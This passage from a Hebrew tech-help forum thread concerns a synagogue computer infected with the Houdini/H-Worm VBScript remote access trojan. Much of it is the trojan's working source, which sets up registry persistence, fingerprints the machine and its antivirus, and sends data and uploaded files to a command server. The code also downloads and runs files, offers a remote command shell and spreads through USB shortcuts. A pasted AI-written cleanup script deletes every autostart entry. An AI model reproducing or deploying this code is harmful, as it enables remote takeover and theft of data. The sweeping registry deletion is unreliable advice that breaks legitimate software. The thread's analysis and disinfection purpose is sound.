                              lnkobj.iconlocation = foldericon
                          end if
                          lnkobj.save()
                      next
                  end If
                  end If
                  end if
                  next
                  err.clear
                  end sub
                  
                  sub uninstall
                  on error resume next
                  dim filename
                  dim foldername
                  
                  shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                  shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                  filesystemobj.deletefile startup & installname ,true
                  filesystemobj.deletefile wscript.scriptfullname ,true
                  
                  for  each drive in filesystemobj.drives
                  if  drive.isready = true then
                  if  drive.freespace  > 0 then
                  if  drive.drivetype  = 1 then
                      for  each file in filesystemobj.getfolder ( drive.path & "\").files
                           on error resume next
                           if  instr (file.name,".") then
                               if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                   file.attributes = 0
                                   if  ucase (file.name) <> ucase (installname) then
                                       filename = split(file.name,".")
                                       filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                   else
                                       filesystemobj.deletefile (drive.path & "\" & file.name)
                                   end If
                               else
                                   filesystemobj.deletefile (file.path) 
                               end if
                           end if
                       next
                       for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                           folder.attributes = 0
                       next
                  end if
                  end if
                  end if
                  next
                  wscript.quit
                  end sub
                  
                  function post (cmd ,param)
                  
                  post = param
                  httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                  httpobj.setrequestheader "user-agent:",information
                  httpobj.send param
                  post = httpobj.responsetext
                  end function
                  
                  function information
                  on error resume next
                  if  inf = "" then
                      inf = hwid & spliter 
                      inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                      inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                  
                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                      set os = root.execquery ("select * from win32_operatingsystem")
                      for each osinfo in os
                         inf = inf & osinfo.caption & spliter  
                         exit for
                      next
                      inf = inf & "plus" & spliter
                      inf = inf & security & spliter
                      inf = inf & usbspreading
                      information = inf  
                  else
                      information = inf
                  end if
                  end function
                  
                  sub upstart ()
                  on error resume Next
                  
                  shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                  filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                  filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                  
                  end sub
                  
                  function hwid
                  on error resume next
                  
                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set disks = root.execquery ("select * from win32_logicaldisk")
                  for each disk in disks
                      if  disk.volumeserialnumber <> "" then
                          hwid = disk.volumeserialnumber
                          exit for
                      end if
                  next
                  end function
                  
                  function security 
                  on error resume next
                  
                  security = ""
                  
                  set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                  for each objitem in colitems
                      versionstr = split (objitem.version,".")
                  next
                  versionstr = split (colitems.version,".")
                  osversion = versionstr (0) & "."
                  for  x = 1 to ubound (versionstr)
                       osversion = osversion &  versionstr (i)
                  next
                  osversion = eval (osversion)
                  if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                  
                  set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                  Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                  
                  for each objantivirus in colantivirus
                      security  = security  & objantivirus.displayname & " ."
                  next
                  if security  = "" then security  = "nan-av"
                  end function
                  
                  function instance
                  on error resume next
                  
                  usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                  if usbspreading = "" then
                     if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                        usbspreading = "true - " & date
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                     else
                        usbspreading = "false - " & date
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                  
                     end if
                  end If
                  
                  
                  upstart
                  set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                  set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                  if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                      wscript.quit 
                  end If
                  err.clear
                  set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                  if  err.number > 0 then wscript.quit
                  end function
                  
                  sub sitedownloader (fileurl,filename)
                  
                  strlink = fileurl
                  strsaveto = installdir & filename
                  set objhttpdownload = createobject("msxml2.xmlhttp" )
                  objhttpdownload.open "get", strlink, false
                  objhttpdownload.send
                  
                  set objfsodownload = createobject ("scripting.filesystemobject")
                  if  objfsodownload.fileexists (strsaveto) then
                      objfsodownload.deletefile (strsaveto)
                  end if
                   
                  if objhttpdownload.status = 200 then
                     dim  objstreamdownload
                     set  objstreamdownload = createobject("adodb.stream")
                     with objstreamdownload
                          .type = 1 
                          .open
                          .write objhttpdownload.responsebody
                          .savetofile strsaveto
                          .close
                     end with
                     set objstreamdownload = nothing
                  end if
                  if objfsodownload.fileexists(strsaveto) then
                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                  end if 
                  end sub
                  
                  sub download (fileurl,filedir)
                  
                  if filedir = "" then 
                     filedir = installdir
                  end if
                  
                  strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                  set objhttpdownload = createobject("msxml2.xmlhttp")
                  objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                  objhttpdownload.send ""
                       
                  set objfsodownload = createobject ("scripting.filesystemobject")
                  if  objfsodownload.fileexists (strsaveto) then
                      objfsodownload.deletefile (strsaveto)
                  end if
                  if  objhttpdownload.status = 200 then
                      dim  objstreamdownload
                      set  objstreamdownload = createobject("adodb.stream")
                      with objstreamdownload 
                           .type = 1 
                           .open
                           .write objhttpdownload.responsebody
                           .savetofile strsaveto
                           .close
                      end with
                      set objstreamdownload  = nothing
                  end if
                  if objfsodownload.fileexists(strsaveto) then
                     shellobj.run objfsodownload.getfile (strsaveto).shortpath
                  end if 
                  end sub
                  
                  function upload (fileurl)
                  
                  dim  httpobj,objstreamuploade,buffer
                  set  objstreamuploade = createobject("adodb.stream")
                  with objstreamuploade 
                       .type = 1 
                       .open
                       .loadfromfile fileurl
                       buffer = .read
                       .close
                  end with
                  set objstreamdownload = nothing
                  set httpobj = createobject("msxml2.xmlhttp")
                  httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                  httpobj.send buffer
                  end function
                  
                  function enumdriver ()
                  
                  for  each drive in filesystemobj.drives
                  if   drive.isready = true then
                       enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                  end if
                  next
                  end Function
                  
                  function enumfaf (enumdir)
                  
                  enumfaf = enumdir & spliter
                  for  each folder in filesystemobj.getfolder (enumdir).subfolders
                       enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                  next
                  
                  for  each file in filesystemobj.getfolder (enumdir).files
                       enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                  
                  next
                  end function
                  
                  function enumprocess ()
                  
                  on error resume next
                  
                  set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                  set colitems = objwmiservice.execquery("select * from win32_process",,48)
                  
                  dim objitem
                  for each objitem in colitems
                      enumprocess = enumprocess & objitem.name & "|"
                      enumprocess = enumprocess & objitem.processid & "|"
                      enumprocess = enumprocess & objitem.executablepath & spliter
                  next
                  end function
                  
                  sub exitprocess (pid)
                  on error resume next
                  
                  shellobj.run "taskkill /F /T /PID " & pid,7,true
                  end sub
                  
                  sub deletefaf (url)
                  on error resume next
                  
                  filesystemobj.deletefile url
                  filesystemobj.deletefolder url
                  
                  end sub
                  
                  function cmdshell (cmd)
                  
                  dim httpobj,oexec,readallfromany
                  
                  set oexec = shellobj.exec ("%comspec% /c " & cmd)
                  if not oexec.stdout.atendofstream then
                     readallfromany = oexec.stdout.readall
                  elseif not oexec.stderr.atendofstream then
                     readallfromany = oexec.stderr.readall
                  else 
                     readallfromany = ""
                  end if
                  
                  cmdshell = readallfromany
                  end function
                  
                  א מנותק
                  א מנותק
                  אור אור אור
                  כתב נערך לאחרונה על ידי אור אור אור
                  #25

                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                  אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                  הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                  זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                  1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                    בראש הקוד מופיעים המשתנים host ו-port:

                  Host: khattab.no-ipbiz

                  Port: 5550
                  הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                  1. איסוף מידע (Reconnaissance)
                    הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                  שם המחשב ושם המשתמש.

                  מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                  גרסת מערכת ההפעלה.

                  בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                  1. מנגנון הפצה (USB Spreading)
                    אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                  הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                  הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                  ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                  1. יכולות שליטה מרחוק
                    הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                  execute: הרצת קוד VBScript ישירות בזיכרון.

                  send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                  enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                  cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                  update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                  1. הישרדות במערכת (Persistence)
                    הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                  [!CAUTION]
                  שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                  cfopuserC תגובה 1 תגובה אחרונה
                  0
                  • א מנותק
                    א מנותק
                    אור אור אור
                    כתב נערך לאחרונה על ידי אור אור אור
                    #26

                    וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                    צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                    הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                    הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                    1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                      הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                    תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                    תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                    רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                    בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                    1. שלבי הניקוי (בצע לפי הסדר)
                      כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                    א. עצירת התהליך
                    לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                    חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                    לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                    ב. מחיקה מהרישום (Registry)
                    לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                    נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                    חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                    בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                    ג. מחיקת הקבצים הפיזיים
                    פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                    הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                    1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                      אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                    חבר את הכונן הנגוע.

                    פתח את "שורת הפקודה" (CMD) כמנהל.

                    הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                    הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                    attrib -h -r -s /s /d .

                    כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                    עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                    כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                    האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                    כן

                    כן

                    ‫Gemini אמר
                    הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                    הוראות ביצוע:
                    העתק את הקוד למטה.

                    פתח את "פנקס רשימות" (Notepad).

                    הדבק את הקוד בתוכו.

                    שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

                    לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                    הקוד לניקוי המחשב:
                    קטע קוד
                    @echo off
                    color 0A
                    echo Stopping Virus Process...
                    taskkill /F /IM wscript.exe /T

                    echo.
                    echo Deleting Virus Files...
                    del /F /Q "%temp%*.vbs"
                    del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                    echo.
                    echo Cleaning Registry Keys...
                    reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                    echo.
                    echo Restoration Complete.
                    echo Please check your USB drives separately using the 'attrib' command.
                    pause
                    מה הקוד הזה עושה בפועל?
                    taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                    del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                    reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                    [!CAUTION]
                    שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                    טיפול בכונני ה-USB (הדיסק-און-קי):
                    אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                    attrib -h -r -s /s /d X:*.*
                    (החלף את האות X באות של הכונן שלך).

                    זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                    האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                    אמרת
                    כן

                    ‫Gemini אמר
                    כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                    הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                    אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                    בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                    צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                    לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                    בחר ב-"פנקס רשימות" (Notepad).

                    חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                    לחץ על אישור.

                    התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                    אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                    זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                    לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                    נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                    בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                    קרא לערך החדש בשם: Enabled.

                    וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                    סגור את הרישום והפעל מחדש את המחשב.

                    התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                    טיפ קטן לגבאי / אחראי המחשב:
                    מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                    [!NOTE]
                    אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                    ה תגובה 1 תגובה אחרונה
                    -1
                    • א אור אור אור

                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                      אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                      הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                      זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                      1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                        בראש הקוד מופיעים המשתנים host ו-port:

                      Host: khattab.no-ipbiz

                      Port: 5550
                      הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                      1. איסוף מידע (Reconnaissance)
                        הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                      שם המחשב ושם המשתמש.

                      מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                      גרסת מערכת ההפעלה.

                      בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                      1. מנגנון הפצה (USB Spreading)
                        אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                      הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                      הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                      ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                      1. יכולות שליטה מרחוק
                        הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                      execute: הרצת קוד VBScript ישירות בזיכרון.

                      send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                      enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                      cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                      update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                      1. הישרדות במערכת (Persistence)
                        הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                      [!CAUTION]
                      שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                      cfopuserC מנותק
                      cfopuserC מנותק
                      cfopuser
                      כתב נערך לאחרונה על ידי cfopuser
                      #27

                      @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      אני מקווה שזה בסדר.

                      זה לא,
                      מהסיבה הפשוטה שלכולם יש גישה לai,
                      אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                      בנוסף זה מנוגד לחוקי הפורום,

                      מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                      ה תגובה 1 תגובה אחרונה
                      3
                      • cfopuserC cfopuser

                        @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        אני מקווה שזה בסדר.

                        זה לא,
                        מהסיבה הפשוטה שלכולם יש גישה לai,
                        אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                        בנוסף זה מנוגד לחוקי הפורום,

                        מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                        ה מנותק
                        ה מנותק
                        הישבשר המלומד
                        כתב נערך לאחרונה על ידי
                        #28
                        פוסט זה נמחק!
                        תגובה 1 תגובה אחרונה
                        0
                        • א מנותק
                          א מנותק
                          אור אור אור
                          כתב נערך לאחרונה על ידי
                          #29

                          חבל מאד שאין לי אפשרות לצ'אט עמו.
                          אני מתכוין בל"נ למחוק את זה מייד כשהוא יראה.
                          אגב, זה פשוט מרתק לראות איך הקוד עובד, ביקשתי פירוט וזה היה מעניין.
                          אני לא מעלה את זה פה, כי יש פה גאוני תיכנות שזה בשבילם שטויות.
                          ובאמת כל אחד כמעט יכול לבדוק בעצמו...

                          תגובה 1 תגובה אחרונה
                          1
                          • A מנותק
                            A מנותק
                            AMDesign
                            כתב נערך לאחרונה על ידי
                            #30

                            @רנדומלי
                            למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                            ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                            ת כ 2 תגובות תגובה אחרונה
                            1
                            • A AMDesign

                              @רנדומלי
                              למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                              ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                              ת מנותק
                              ת מנותק
                              תלמידהון
                              כתב נערך לאחרונה על ידי תלמידהון
                              #31

                              @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                              לפי איזה פרמטר הוא יותר חזק?
                              דיפנדר טוב מאוד וחינמי

                              A תגובה 1 תגובה אחרונה
                              0
                              • ת תלמידהון

                                @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                                לפי איזה פרמטר הוא יותר חזק?
                                דיפנדר טוב מאוד וחינמי

                                A מנותק
                                A מנותק
                                AMDesign
                                כתב נערך לאחרונה על ידי
                                #32

                                @תלמידהון
                                למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
                                דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                                מתכנת חובבמ תגובה 1 תגובה אחרונה
                                0
                                • A AMDesign

                                  @רנדומלי
                                  למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                  ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                                  כ מנותק
                                  כ מנותק
                                  כככככ
                                  כתב נערך לאחרונה על ידי
                                  #33

                                  @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  רנדומלי
                                  למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                  ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                  סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                  cfopuserC תגובה 1 תגובה אחרונה
                                  0
                                  • כ כככככ

                                    @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    רנדומלי
                                    למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                    ואולי אפילו גרסה בתשלום אם זה מתאפשר

                                    סתם שאלה אין פה בפורום eset פרוץ שאתה כותב לו שיעשה בתשלום

                                    cfopuserC מנותק
                                    cfopuserC מנותק
                                    cfopuser
                                    כתב נערך לאחרונה על ידי cfopuser
                                    #34

